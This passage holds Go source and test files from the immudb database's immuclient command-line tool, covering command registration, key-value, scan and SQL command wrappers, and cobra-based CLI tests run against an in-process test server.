cli.Register(&command{"logout", "", cli.logout, nil, false}) cli.Register(&command{"use", "Select database", cli.UseDatabase, []string{"databasename"}, false}) // Get commands cli.Register(&command{"safeget", "Get and verify item having the specified key", cli.safeGetKey, []string{"key"}, false}) cli.Register(&command{"get", "Get item having the specified key", cli.getKey, []string{"key"}, false}) cli.Register(&command{"gettx", "Return a tx by id", cli.getTxByID, []string{"id"}, false}) // Set commands cli.Register(&command{"set", "Add new item having the specified key and value", cli.set, []string{"key", "value"}, false}) cli.Register(&command{"safeset", "Add and verify new item having the specified key and value", cli.safeset, []string{"key", "value"}, false}) cli.Register(&command{"restore", "Restore older value of the key", cli.restore, []string{"key"}, false}) cli.Register(&command{"safezadd", "Add and verify new key with score to a new or existing sorted set", cli.safeZAdd, []string{"setname", "score", "key"}, false}) cli.Register(&command{"zadd", "Add new key with score to a new or existing sorted set", cli.zAdd, []string{"setname", "score", "key"}, false}) cli.Register(&command{"delete", "Delete item having the specified key", cli.deleteKey, []string{"key"}, false}) // Current status commands cli.Register(&command{"health", "Return the number of pending requests and the time the last request was completed", cli.health, nil, false}) cli.Register(&command{"current", "Return the last tx and hash stored locally", cli.currentState, nil, false}) // Reference commands cli.Register(&command{"reference", "Add new reference to an existing key", cli.reference, []string{"refkey", "key"}, false}) cli.Register(&command{"safereference", "Add and verify new reference to an existing key", cli.safereference, []string{"refkey", "key"}, false}) // Scannner commands cli.Register(&command{"scan", "Iterate over keys having the specified prefix", cli.scan, []string{"prefix"}, false}) cli.Register(&command{"zscan", "Iterate over a sorted set", cli.zScan, []string{"prefix"}, false}) cli.Register(&command{"count", "Count keys having the specified prefix", cli.count, []string{"prefix"}, false}) // Misc commands cli.Register(&command{"status", "", cli.healthCheck, nil, false}) cli.Register(&command{"history", "Fetch history for the item having the specified key", cli.history, []string{"key"}, false}) cli.Register(&command{"version", "Print version", cli.version, nil, false}) cli.Register(&command{"info", "Print server information", cli.serverInfo, nil, false}) // SQL cli.Register(&command{"exec", "Executes sql statement", cli.sqlExec, []string{"statement"}, true}) cli.Register(&command{"query", "Query sql statement", cli.sqlQuery, []string{"statement"}, true}) cli.Register(&command{"describe", "Describe table", cli.describeTable, []string{"table"}, false}) cli.Register(&command{"tables", "List tables", cli.listTables, nil, false}) } ================================================ FILE: cmd/immuclient/cli/register_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cli import ( "testing" "github.com/stretchr/testify/assert" ) func TestInitCommands(t *testing.T) { t.SkipNow() cli := new(cli) cli.commands = make(map[string]*command) cli.commandsList = make([]*command, 0) cli.initCommands() assert.EqualValues(t, 25, len(cli.commands)) } ================================================ FILE: cmd/immuclient/cli/scanners.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cli func (cli *cli) zScan(args []string) (string, error) { return cli.immucl.ZScan(args) } func (cli *cli) scan(args []string) (string, error) { return cli.immucl.Scan(args) } func (cli *cli) count(args []string) (string, error) { return cli.immucl.Count(args) } ================================================ FILE: cmd/immuclient/cli/scanners_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cli import ( "testing" "github.com/stretchr/testify/require" ) func TestZScan(t *testing.T) { cli := setupTest(t) _, err := cli.set([]string{"key", "val"}) require.NoError(t, err, "Set fail") _, err = cli.zAdd([]string{"set", "445.3", "key"}) require.NoError(t, err, "ZAdd fail") msg, err := cli.zScan([]string{"set"}) require.NoError(t, err, "ZScan fail") require.Contains(t, msg, "value", "ZScan failed") } func TestScan(t *testing.T) { cli := setupTest(t) _, err := cli.set([]string{"key", "val"}) require.NoError(t, err, "Set fail") msg, err := cli.scan([]string{"k"}) require.NoError(t, err, "Scan fail") require.Contains(t, msg, "value", "Scan failed") } func TestCount(t *testing.T) { t.SkipNow() cli := setupTest(t) _, err := cli.set([]string{"key", "val"}) require.NoError(t, err, "Set fail") msg, err := cli.count([]string{"key"}) require.NoError(t, err, "Count fail") require.Contains(t, msg, "1", "Count failed") } ================================================ FILE: cmd/immuclient/cli/server_info.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cli func (cli *cli) serverInfo(args []string) (string, error) { return cli.immucl.ServerInfo(args) } ================================================ FILE: cmd/immuclient/cli/setcommands.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cli func (cli *cli) set(args []string) (string, error) { return cli.immucl.Set(args) } func (cli *cli) safeset(args []string) (string, error) { return cli.immucl.VerifiedSet(args) } func (cli *cli) restore(args []string) (string, error) { return cli.immucl.Restore(args) } func (cli *cli) deleteKey(args []string) (string, error) { return cli.immucl.DeleteKey(args) } func (cli *cli) zAdd(args []string) (string, error) { return cli.immucl.ZAdd(args) } func (cli *cli) safeZAdd(args []string) (string, error) { return cli.immucl.VerifiedZAdd(args) } func (cli *cli) UseDatabase(args []string) (string, error) { return cli.immucl.UseDatabase(args) } ================================================ FILE: cmd/immuclient/cli/setcommands_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cli import ( "testing" "github.com/stretchr/testify/require" ) func TestSet(t *testing.T) { cli := setupTest(t) msg, err := cli.set([]string{"key", "val"}) require.NoError(t, err, "Set fail") require.Contains(t, msg, "value", "Set failed") } func TestSafeSet(t *testing.T) { cli := setupTest(t) msg, err := cli.safeset([]string{"key", "val"}) require.NoError(t, err, "SafeSet fail") require.Contains(t, msg, "value", "SafeSet failed") } func TestZAdd(t *testing.T) { cli := setupTest(t) _, err := cli.safeset([]string{"key", "val"}) require.NoError(t, err) msg, err := cli.zAdd([]string{"val", "1", "key"}) require.NoError(t, err, "ZAdd fail") require.Contains(t, msg, "hash", "ZAdd failed") } func TestSafeZAdd(t *testing.T) { cli := setupTest(t) _, err := cli.safeset([]string{"key", "val"}) require.NoError(t, err) msg, err := cli.safeZAdd([]string{"val", "1", "key"}) require.NoError(t, err, "SafeZAdd fail") require.Contains(t, msg, "hash", "SafeZAdd failed") } ================================================ FILE: cmd/immuclient/cli/sql.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cli func (cli *cli) sqlExec(args []string) (string, error) { return cli.immucl.SQLExec(args) } func (cli *cli) sqlQuery(args []string) (string, error) { return cli.immucl.SQLQuery(args) } func (cli *cli) describeTable(args []string) (string, error) { return cli.immucl.DescribeTable(args) } func (cli *cli) listTables(args []string) (string, error) { return cli.immucl.ListTables() } func (cli *cli) useDatabase(args []string) (string, error) { return cli.immucl.UseDatabase(args) } ================================================ FILE: cmd/immuclient/cli/sql_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cli import ( "testing" "github.com/stretchr/testify/require" ) func TestSqlFloat(t *testing.T) { cli := setupTest(t) _, err := cli.sqlExec([]string{ "CREATE TABLE t1(id INTEGER AUTO_INCREMENT, val FLOAT, PRIMARY KEY(id))", }) require.NoError(t, err) _, err = cli.sqlExec([]string{ "INSERT INTO t1(val) VALUES(1.1)", }) require.NoError(t, err) s, err := cli.sqlQuery([]string{ "SELECT id, val FROM t1", }) require.NoError(t, err) require.Regexp(t, `(?m)^\|\s+\d+\s+\|\s+1\.1\s+\|$`, s) } ================================================ FILE: cmd/immuclient/cli/unixcmds.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cli import ( "os" "os/exec" "strings" ) var clear = map[string]func(){ "linux": func() { cmd := exec.Command("clear") cmd.Stdout = os.Stdout cmd.Run() }, "windows": func() { cmd := exec.Command("cmd", "/c", "cls") cmd.Stdout = os.Stdout cmd.Run() }, "darwin": func() { cmd := exec.Command("clear") cmd.Stdout = os.Stdout cmd.Run() }, } func (cli *cli) completer(line string) (c []string) { c = make([]string, 0) for i := range cli.commandsList { if strings.HasPrefix(cli.commandsList[i].name, line) { c = append(c, cli.commandsList[i].name) } } return c } ================================================ FILE: cmd/immuclient/cli/unixcmds_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cli import ( "testing" "github.com/stretchr/testify/assert" ) func TestCompleter(t *testing.T) { cli := new(cli) cli.commands = make(map[string]*command) cli.commandsList = make([]*command, 0) cli.initCommands() cm := cli.completer("safe") assert.EqualValues(t, 4, len(cm)) } func TestClear(t *testing.T) { oses := []string{"linux", "windows", "darwin"} for _, os := range oses { clearcmd := clear[os] assert.IsType(t, func() {}, clearcmd) clearcmd() } } ================================================ FILE: cmd/immuclient/command/cmd.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuclient import ( "fmt" "io" "os" "strconv" "strings" "time" "github.com/codenotary/immudb/cmd/docs/man" c "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/cmd/version" "github.com/codenotary/immudb/pkg/client/auditor" "github.com/spf13/cobra" ) func Execute(cmd *cobra.Command) error { if isCommand(commandNames(cmd.Commands())) { if err := cmd.Execute(); err != nil { return err } } return nil } func NewCommand() *cobra.Command { version.App = "immuclient" // set the version fields so that they are available to the auditor monitoring HTTP server auditor.Version = auditor.VersionResponse{ Component: "immuclient-auditor", Version: fmt.Sprintf("%s-%s", version.Version, version.Commit), BuildTime: version.BuiltAt, BuiltBy: version.BuiltBy, Static: version.Static == "static", FIPS: version.FIPSBuild(), } if version.BuiltAt != "" { i, err := strconv.ParseInt(version.BuiltAt, 10, 64) if err == nil { auditor.Version.BuildTime = time.Unix(i, 0).Format(time.RFC1123) } } cl := NewCommandLine() cmd, err := cl.NewCmd() if err != nil { c.QuitToStdErr(err) } // login and logout cl.Register(cmd) // man file generator cmd.AddCommand(man.Generate(cmd, "immuclient", "./cmd/docs/man/immuclient")) cmd.AddCommand(version.VersionCmd()) return cmd } func isCommand(args []string) bool { if len(os.Args) > 1 { if strings.HasPrefix(os.Args[1], "-") { for i := range args { for j := range os.Args { if args[i] == os.Args[j] { fmt.Printf("Please sort your commands in \"immudb [command] [flags]\" order. \n") return true } } } } } return true } func commandNames(cms []*cobra.Command) []string { args := make([]string, 0) for i := range cms { arg := strings.Split(cms[i].Use, " ")[0] args = append(args, arg) } return args } // fprintln is equivalent to fmt.Fprintln but appends newline only if one doesn't exist. func fprintln(w io.Writer, msg string) { if strings.HasSuffix(msg, "\n") { _, _ = fmt.Fprint(w, msg) } else { _, _ = fmt.Fprintln(w, msg) } } ================================================ FILE: cmd/immuclient/command/cmd_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuclient import ( "testing" "github.com/stretchr/testify/require" ) func TestNew(t *testing.T) { cmd := NewCommand() require.Len(t, cmd.Commands(), 32) cmd.SetArgs([]string{"--help"}) err := Execute(cmd) require.NoError(t, err) } ================================================ FILE: cmd/immuclient/command/commandline.go ================================================ package immuclient import ( "github.com/codenotary/immudb/cmd/helper" c "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/cmd/immuclient/immuc" "github.com/codenotary/immudb/pkg/client" "github.com/spf13/cobra" ) type commandline struct { immucl immuc.Client config c.Config onError func(msg interface{}) options *immuc.Options } func NewCommandLine() commandline { cl := commandline{} cl.config.Name = "immuclient" cl.options = &immuc.Options{} cl.options.WithImmudbClientOptions(client.DefaultOptions()) return cl } func (cl *commandline) ConfigChain(post func(cmd *cobra.Command, args []string) error) func(cmd *cobra.Command, args []string) (err error) { return func(cmd *cobra.Command, args []string) (err error) { if err = cl.config.LoadConfig(cmd); err != nil { return err } cl.options = immuc.OptionsFromEnv() cl.options.GetImmudbClientOptions().WithTokenFileName("token") cl.immucl, err = immuc.Init(cl.options) if err != nil { return err } if post != nil { return post(cmd, args) } return nil } } // Register ... func (cl *commandline) Register(rootCmd *cobra.Command) *cobra.Command { // login and logout cl.login(rootCmd) cl.logout(rootCmd) // current status cl.health(rootCmd) cl.currentState(rootCmd) // get operations cl.getTxByID(rootCmd) cl.safegetTxByID(rootCmd) cl.getKey(rootCmd) cl.safeGetKey(rootCmd) // set operations cl.set(rootCmd) cl.safeset(rootCmd) cl.restore(rootCmd) cl.deleteKey(rootCmd) cl.zAdd(rootCmd) cl.safeZAdd(rootCmd) // scanners cl.zScan(rootCmd) cl.scan(rootCmd) cl.count(rootCmd) // references cl.reference(rootCmd) cl.safereference(rootCmd) // misc cl.serverInfo(rootCmd) cl.consistency(rootCmd) cl.history(rootCmd) cl.status(rootCmd) cl.auditmode(rootCmd) cl.interactiveCli(rootCmd) cl.use(rootCmd) cl.sqlExec(rootCmd) cl.sqlQuery(rootCmd) cl.listTables(rootCmd) cl.describeTable(rootCmd) return rootCmd } func (cl *commandline) connect(cmd *cobra.Command, args []string) (err error) { err = cl.immucl.Connect(args) if err != nil { cl.quit(err) } return } func (cl *commandline) disconnect(cmd *cobra.Command, args []string) { if err := cl.immucl.Disconnect(args); err != nil { cl.quit(err) } } func (cl *commandline) quit(msg interface{}) { msg = helper.UnwrapMessage(msg) if cl.onError == nil { c.QuitToStdErr(msg) } cl.onError(msg) } ================================================ FILE: cmd/immuclient/command/commandline_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuclient import ( "testing" "github.com/codenotary/immudb/cmd/helper" "github.com/stretchr/testify/assert" "github.com/spf13/cobra" ) func TestCommandline_Register(t *testing.T) { c := commandline{} cmd := c.Register(&cobra.Command{}) assert.IsType(t, &cobra.Command{}, cmd) } func TestNewCommandLine(t *testing.T) { cml := NewCommandLine() assert.IsType(t, commandline{}, cml) } func TestCommandline_ConfigChain(t *testing.T) { cmd := &cobra.Command{} c := commandline{ config: helper.Config{Name: "test"}, } f := func(cmd *cobra.Command, args []string) error { return nil } cmd.Flags().StringVar(&c.config.CfgFn, "config", "", "config file") cc := c.ConfigChain(f) err := cc(cmd, []string{}) assert.NoError(t, err) } func TestCommandline_ConfigChainErr(t *testing.T) { cmd := &cobra.Command{} c := commandline{} f := func(cmd *cobra.Command, args []string) error { return nil } cc := c.ConfigChain(f) err := cc(cmd, []string{}) assert.Error(t, err) } ================================================ FILE: cmd/immuclient/command/currentstatus.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuclient import ( "github.com/spf13/cobra" ) func (cl *commandline) health(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "health", Short: "Return the number of pending requests and the time the last request was completed", PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.DatabaseHealth(args) if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.ExactArgs(0), } cmd.AddCommand(ccmd) } func (cl *commandline) currentState(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "current", Short: "Return the last last tx ID and hash stored locally", Aliases: []string{"crt"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.CurrentState(args) if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.ExactArgs(0), } cmd.AddCommand(ccmd) } ================================================ FILE: cmd/immuclient/command/currentstatus_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuclient import ( "bytes" "io/ioutil" "strings" "testing" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/tokenservice" "github.com/stretchr/testify/require" "github.com/codenotary/immudb/cmd/helper" test "github.com/codenotary/immudb/cmd/immuclient/immuclienttest" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" ) func setupTest(t *testing.T) *test.ClientTest { options := server.DefaultOptions().WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) bs.Start() t.Cleanup(func() { bs.Stop() }) ts := tokenservice.NewInmemoryTokenService() ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts, client.DefaultOptions().WithDir(t.TempDir())) ic.Connect(bs.Dialer) ic.Login("immudb") return ic } func TestCurrentState(t *testing.T) { ic := setupTest(t) cmdl := commandline{ config: helper.Config{Name: "immuclient"}, immucl: ic.Imc, } cmd, _ := cmdl.NewCmd() cmdl.currentState(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"current"}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil innercmd := cmd.Commands()[0] innercmd.PersistentPreRunE = nil err := cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) rsp := string(msg) require.True(t, strings.Contains(rsp, "is empty") || strings.Contains(rsp, "txID:")) } ================================================ FILE: cmd/immuclient/command/getcommands.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuclient import ( "github.com/spf13/cobra" ) func (cl *commandline) getTxByID(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "tx", Short: "Return a tx by id", Aliases: []string{"tx"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.GetTxByID(args) if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.ExactArgs(1), } cmd.AddCommand(ccmd) } func (cl *commandline) safegetTxByID(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "safetx", Short: "Return a tx by ID", Aliases: []string{"stx"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.VerifiedGetTxByID(args) //TODO: use verified if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.ExactArgs(1), } cmd.AddCommand(ccmd) } func (cl *commandline) getKey(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "get key[@revision]", Short: "Get item having the specified key", Aliases: []string{"g"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.Get(args) if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.ExactArgs(1), } cmd.AddCommand(ccmd) } func (cl *commandline) safeGetKey(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "safeget key", Short: "Get and verify item having the specified key", Aliases: []string{"sg"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.VerifiedGet(args) if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.ExactArgs(1), } cmd.AddCommand(ccmd) } ================================================ FILE: cmd/immuclient/command/getcommands_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuclient /* import ( "bytes" "io/ioutil" "os" "strings" "testing" "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/client" test "github.com/codenotary/immudb/cmd/immuclient/immuclienttest" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" ) func TestGetByIndex(t *testing.T) { defer os.Remove(".root-") options := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts) ic. Connect(bs.Dialer) ic.Login("immudb") cmdl := commandline{ config: helper.Config{Name: "immuclient"}, immucl: ic.Imc, } cmd, _ := cmdl.NewCmd() cmdl.getByIndex(cmd) cmdl.safeset(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"safeset", "key", "value"}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil innercmd := cmd.Commands()[1] innercmd.PersistentPreRunE = nil // since we issue two commands we need to remove PersistentPostRun ( disconnect ) cmd.Commands()[1].PersistentPostRun = nil err := cmd.Execute() require.NoError(t, err) cmd.SetArgs([]string{"getByIndex", "0"}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil innercmd = cmd.Commands()[0] innercmd.PersistentPreRunE = nil err = cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "hash") } func TestGetRawBySafeIndex(t *testing.T) { defer os.Remove(".root-") options := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts) ic. Connect(bs.Dialer) ic.Login("immudb") cmdl := commandline{ config: helper.Config{Name: "immuclient"}, immucl: ic.Imc, } cmd, _ := cmdl.NewCmd() cmdl.getRawBySafeIndex(cmd) cmdl.safeset(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"safeset", "key", "value"}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil cmd.Commands()[0].PersistentPreRunE = nil cmd.Commands()[1].PersistentPreRunE = nil // since we issue two commands we need to remove PersistentPostRun ( disconnect ) cmd.Commands()[1].PersistentPostRun = nil err := cmd.Execute() require.NoError(t, err) cmd.SetArgs([]string{"getRawBySafeIndex", "0"}) err = cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "hash") } func TestGetKey(t *testing.T) { defer os.Remove(".root-") options := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts) ic. Connect(bs.Dialer) ic.Login("immudb") cmdl := commandline{ config: helper.Config{Name: "immuclient"}, immucl: ic.Imc, } cmd, _ := cmdl.NewCmd() cmdl.getKey(cmd) cmdl.safeset(cmd) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil cmd.Commands()[0].PersistentPreRunE = nil cmd.Commands()[1].PersistentPreRunE = nil // since we issue two commands we need to remove PersistentPostRun ( disconnect ) cmd.Commands()[1].PersistentPostRun = nil b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"safeset", "key", "value"}) err := cmd.Execute() require.NoError(t, err) cmd.SetArgs([]string{"get", "key"}) err = cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "hash") } func TestSafeGetKey(t *testing.T) { defer os.Remove(".root-") options := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts) ic. Connect(bs.Dialer) ic.Login("immudb") cmdl := commandline{ config: helper.Config{Name: "immuclient"}, immucl: ic.Imc, } cmd, _ := cmdl.NewCmd() cmdl.safeGetKey(cmd) cmdl.safeset(cmd) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil cmd.Commands()[0].PersistentPreRunE = nil cmd.Commands()[1].PersistentPreRunE = nil // since we issue two commands we need to remove PersistentPostRun ( disconnect ) cmd.Commands()[1].PersistentPostRun = nil b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"safeset", "key", "value"}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil innercmd := cmd.Commands()[0] innercmd.PersistentPreRunE = nil err := cmd.Execute() require.NoError(t, err) cmd.SetArgs([]string{"safeget", "key"}) err = cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "hash") } func TestRawSafeGetKey(t *testing.T) { defer os.Remove(".root-") options := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() 